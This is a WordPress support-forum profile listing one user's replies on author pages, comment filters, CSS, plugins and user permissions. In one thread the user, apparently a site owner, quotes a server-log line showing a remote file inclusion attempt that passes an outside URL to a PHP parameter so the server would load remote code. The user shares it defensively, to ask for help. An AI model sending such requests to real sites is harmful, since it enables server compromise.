asechrest
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: A page per author listing all his/her postsIf you just want an author page for each author that lists their posts, this functionality is basically built-in to WordPress. I describe how to create a simple author page on my site. You can also download the
author.phpfile I use for that article. The URL of the author pages ishttp://mysite.com/author/authorname.php.Additional reading on author templates.Forum: Fixing WordPress
In reply to: Automatically adding text to comment after comment is submittedThanks, T3los. I like that second one, it’s cleaner.
See if I have this right. You want the text to be added only to the comments you make the comment from your mobile (i.e. comments made using the mobile plugin), and you want that text viewable whether you’re using the mobile plugin or not, right?
Could you provide a link to the mobile plugin? I’ll do my best but may have to defer to the PHP wizards here in the forum. The filter I wrote is basically a site-wide change, so figuring out a per-comment solution could be tougher.
Forum: Fixing WordPress
In reply to: Automatically adding text to comment after comment is submittedHey, Nemo. I responded to your comment on my site.
I’ll try to dig into this this weekend.
P.S. – greenshady deserves some credit, too. He got me into filters. 😉
I think you can implement his solution by using this:
<ul class="nav"> <li <?php if(is_home()) echo 'class="current_page_item"';?>><a href="<?php bloginfo('url'); ?>" title="Blogg">Blogg</a></li> <?php wp_list_pages('title_li='); ?> </ul>Forum: Fixing WordPress
In reply to: CSS for blog posts not working.Do you use Firefox with the Web Developer’s toolbar? It not, you might want to consider it. You could then edit your CSS in real-time, side-by-side with your index page, and understand which CSS code is controlling which areas of your site.
The CSS for your body div seems to control the index page post content. If I adjust the body div’s font characteristics, I see your index page’s post content change.
I don’t see a
p.post-text.Your
.post h2 aseems to control the post title text. I believe this is overriding your.post h2. Actually, wait, I don’t even see a.post h2.You may want to spend some time just reworking your
style.cssso you know what’s controlling what.Forum: Fixing WordPress
In reply to: Remote File Inclusion (RFI) AttemptsOk, I’ll take a look at implementing those and do some more research to see if not using fopen has any negatives.
Thanks whooami.
Forum: Fixing WordPress
In reply to: Remote File Inclusion (RFI) AttemptsI get a page not found notice, which I think is good news. But I have hundreds of these today, from what look like a number of different sources. Some of them appear to be trying to load a text file. I have a bunch similar to this:
209.62.42.242 – – [29/Apr/2009:15:36:49 -0500] “GET /2009/04/08//vwar/backup/errors.php?error=http://caketaker.biz//scrollerroller/id.txt??? HTTP/1.1” 404 40489 “-” “Mozilla/5.0”
I’ve searched my server filesystem for the text file name and it hasn’t been found. This is also, I think, good news.
Generally, though, I’m wondering if I can simply determine if they successfully added a page or successfully loaded a file to my server, and if the answer is no to both, can I feel relatively comfortable (not assured, obviously) that the attempts failed?
I’m researching how to prevent the attempts altogether. I’ve checked my file/folder permissions and they seem to be what’s recommended. I’ve read some suggestions not to use “fopen” but understanding that is a bit above me at the moment.
Thanks for the response.
Forum: Fixing WordPress
In reply to: PHP tag to show user reg dateI believe it’s indicated here.
$curauth->user_registered;Forum: Plugins
In reply to: Role Manager giving problemsYou say you installed Role Manager 2.0. Do you actually mean the latest version, 2.2.3?
I use Role Manager 2.2.3 on my site with no issue, as do many others, so it may be something specific to your setup.
Unfortunately I don’t think I can diagnose your problem. Maybe someone else can help.
Forum: Plugins
In reply to: Role Manager giving problemsDoes the problem go away if you uninstall Role Manager?
Forum: Everything else WordPress
In reply to: How To Se My Category ID’sI prefer to use a plugin that displays the ID next to each category on the dashboard categories section.
You could try Reveal ID for WP Admin.
Forum: Plugins
In reply to: Create pages for one person/user/editor to edit?If you’ve created each of them as an author, you can utilize WordPress author templates. Then each of them can edit their own personal WordPress profile (which includes a “description” section where they could put their bio), and you could then display this info on their author page.
I wrote an example up.
For example on each author page you could display their Avatar/Gravatar, their display name, when they became members of your site, their email, and their description. (If they artists make “posts” on your site, you can also display a list of their posts like in the example I linked to.)
However, this wouldn’t let them add their own photos. If you truly need to create a page for each artist and give them editing rights for the page, I don’t have a good idea of the best way to go about that. If you could find a way to simply give each artist editing rights on a page, this would mean they could do whatever they wanted inside that page — I don’t know how you’d constrain them to only a short bio and a few photos. They could add text, links, photos, spam, advertizements, etc.
Maybe someone else has some different ideas.
Forum: Fixing WordPress
In reply to: Automatically adding text to comment after comment is submittedI wrote up a guide for implementing the filter and the example in the guide has some XHTML text styling to help illustrate how the “signature” could be styled.
Hope this helps anyone who desires this functionality.
If anyone has an alternate or cleaner method, please post here or above.
Forum: Fixing WordPress
In reply to: Possible to allow users to post blog entries?You can use a login plugin (I use Zerby Login Widget) to offer a login and link to register, or you can hard-code a register link into your theme.
They will need access to the admin panel to post unless you use a plugin like TDO Mini Forms to allow them to post from the front-end.
If your goal is to have many subscribers and you allow them to post from the back end, you’ll need quite a few other plugins to maintain control over their access to areas of the backend and to restrict their capabilities.
Forum: Fixing WordPress
In reply to: Too many pages?Ahhh, I see. I should have caught that, but in my skimming of your post I read
single-categoryid.phpassingle-POSTid.php.Obviously, there’s a big difference…1400 templates of difference, I guess. 🙂